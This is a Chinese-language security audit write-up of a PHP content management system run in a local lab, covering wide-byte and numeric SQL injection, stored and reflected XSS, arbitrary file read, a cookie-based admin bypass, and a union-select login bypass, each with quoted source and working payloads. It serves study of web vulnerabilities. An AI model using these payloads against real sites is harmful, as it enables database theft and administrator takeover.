环境搭建
phpstudy新建个站,放入代码
创建数据库
访问install
确认后变成空白页面,于是打开源文件查看后 发现是由于php版本过高,部分函数无法使用导致
修改php版本后访问install搭建成功
在访问files目录时报错
原因是在文件包含的路径错误,包含inc/301.php会包含files目录下的inc/301.php,但inc和files属于同级目录,不在files中所以会报错,在前边加上…/即可
后来发现该文件夹下的所有文件都有该问题,如果一个个加…/未免有些麻烦,所以干脆直接把所有文件在files目录下又复制了一份,之后便可正常访问
代码审计
主目录功能
——admin //后台⽂件
——css //css⽂件
——files //功能函数⽂件
——images //图⽚
——index.php //主⽬录⽂件
——install //安装⽂件
——seacmseditor //编辑器
——template //模板⽂件
——upload //⽂件上传⽬录
seay审计
SQL注入
/file/download.php宽字节注入
为了提高点代码审计能力,所以起初并没有参考seay审计进行漏洞筛查,先自己审了一下,后来在download、about、contact、pages、software等文件中都有类似语句
$llink=addslashes($_GET['r']);
$query = "SELECT * FROM nav WHERE link='$llink'";
这里经过了addslashes
会把单引号,双引号等,加上转义符"/"
,于是上网搜了一下绕过方式可以宽字节绕过,但前提条件是mysql使用gbk编码,所以这个地方就无法使用了,但一直听宽字节注入,一直没有去了解过,所以借此了解一下
原理
MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。
由于需要gbk编码,所以这里加上mysql_query ( "SET NAMES gbk");
,进行转码,之后传参成功触发(但不知为何这里的延时注入无论时间输入几,延时时间都是输入的四倍)
127.0.0.3/files/download.php?r=%df%27or%20if(1,sleep(3),1)%20%23
/file/content.php
在审计content.php、software.php时也发现了 类似于上方的语句
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
当在往下看时又发现了
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
绕过addslashes除了宽字节外,其实也可以是这种没有单引号闭合的 数字型形式,所以这里尝试注入
http://127.0.0.3/files/content.php?cid=1%20or%20sleep(2)#
成功触发
/admin/files/login.php
POST传参后未用addslashes
过滤
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
单引号闭合成功执行123' or sleep(3)#
这里可以通过报错注入得到用户名和密码
/admin/files/columnlist.php
d e l e t e 1 、 delete1、 delete1、delete2未做过滤,直接单引号闭合即可
$delete=$_GET['delete'];
$delete2=$_GET['delete2'];
if ($delete<>""){
$query = "DELETE FROM nav WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的栏目已经成功删除!');location.href='?r=columnlist'</script>";
exit;
}
if ($delete2<>""){
$query = "DELETE FROM navclass WHERE id='$delete2'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete2."的二级栏目已经成功删除!');location.href='?r=columnlist'</script>";
exit;
}
/admin/files/editcolumn.php、editlink.php、linklist.php
同上单引号闭合
$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}
if ($type==2){
$query = "SELECT * FROM navclass WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}
XSS
/file/content.php反射型
看师傅们都是存储型xss,但我这边可能由于环境问题,mysql无法正常写入,硬生生弄成了反射xss
在content.php和contact中发现留言板,尝试xss
<form name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
<input name="cid" type="hidden" value="<?php echo $id?>"/>
<ul>
<li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li>
<li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li>
<li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li>
<textarea name="content" cols="" rows=""></textarea>
经测试后邮箱和网址处可以触发xss,而昵称处单引号
的应该就是为了闭合sql语句,所以无法执行xss
在submit.php中通过昵称$name,进行闭合,之后执行邮箱和网址处的语句
$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
@mysql_query($query) or die('新增错误:'.mysql_error());
而评论框中的内容在submit.php中会把html标签过滤掉,自然无法执行(48行)
$content= addslashes(strip_tags($content));//过滤HTML
/file/download.php反射型
addslashes可以过滤单引号
、双引号
、\
等,但不会处理<>,所以此处虽然无法进行sql,但可以xss (contact.php、list.php也有此段代码同样可以执行)
if(addslashes($_GET['page'])=="")
{
$page=1;
}
else
{
$page=addslashes($_GET['page']);
}
在105行会输出page,即可触发xss
<a>第 <?php echo $page?> - <?php echo $Totalpage?> 页 共 <?php echo $Total?> 条</a>
/admin/files/newsoft.php
在尝试任意文件读取时,顺便在留言框中留了一条xss代码,在进入下载页面时成功触发,并且写到了源代码中
于是查看内部逻辑,传参content后,未做任何过滤并执行了sql语句写入到了数据库中,所以在每次刷新时都会触发
$content=$_POST['content']
$query = "INSERT INTO download (
title,keywords,description,images,hit,xiazai,daxiao,language,version,author,demo,url,softadd,softadd2,xs,content,date
) VALUES(
'$title','$keywords','$description','$filename','1','0','$daxiao','$language','$version','$author','$demo','$url','$softadd','$softadd2','$xs','$content',now()
)";@mysql_query($query) or die('新增错误:'.mysql_error());
除此外还有manageinfo.php、newcolumn.php中也有,并且除content外,这两个文件还可通过name、password等参数触发
任意文件读取
/files/downloads.php
fopen存在任意文件读取,回溯分析
fopen("$sourceFile", "rb");
|
$sourceFile = $fileadd;
|
$fileadd=$down['softadd'];
|
$down= mysql_fetch_array($result);
|
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
|
$fileid=addslashes($_GET['cid']);
传参cid
后汇之星sql查询语句,将数据库中的softadd
的值给fileadd
再传给soutceFile
进行文件读取,再结合数据库查询后,发现softadd是没有值得,所以这里需要我们在后台发布一个预下载文件
admin/?r=newsoft
,设置下载文件
回到下载界面,发现刚才发布的文件
进入后,进行下载抓包,即可获取敏感文件
垂直越权
/inc/checklogin.php
首先在/admin/index.php中可以进行目录穿越,当r为空时,便可穿越到/admin/files/index.php(即后台)
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
但/admin/files/index.php包含了../inc/checklogin.php
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>
当穿越到../inc/checklogin.php
时,会进入checklogin.php进行判断,如果cookie中user值为空,就会跳转到login.php就无法跳转到index.php
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
所以这里可以给cookie中的user赋值,从而绕过checklogin.php但if判断
再由于r没传参时会跳转到/files/index.php,即可直接进入后台
CSRF
/admin/files/wzlist.php、softlist.php
delete传参后可执行数据库数据删除操作
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$wzlistopen='class="open"';
$pageyema="?r=wzlist&page=";
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
exit;
}
随便删除个数据并抓包
可以看到url为:/admin/?r=wzlist&delete=18
这时换一个浏览器并访问/admin/?r=wzlist&delete=18
,在结合checklogin.php中的越权操作,将cookie中的user改为改为原有的值admin,模拟原有浏览器操作
访问后成功删除
个人感觉这里并不是完整意义上的CSRF,更像是垂直越权的一种利用方式,因为这里并不需要获取cookie中user的admin值,其实还是随便给个值绕过checklogin检测就可以进行删除操作
万能密码绕过后端检测
/admin/files/login.php
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
可以看到除了正确账号密码外,还可以通过md5($password)<>$passwords
方式进行登录,所以这里可以在user处闭合后通过sql语句,让md5(password)=password
payload:
user:1' union select 1,2,'test','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
password:1
//md5(1)=c4ca4238a0b923820dcc509a6f75849b
看下具体是为什么
当执行上述语句后,password会被改成c4ca4238a0b923820dcc509a6f75849b,这时在password处输入1,即可绕过md5检测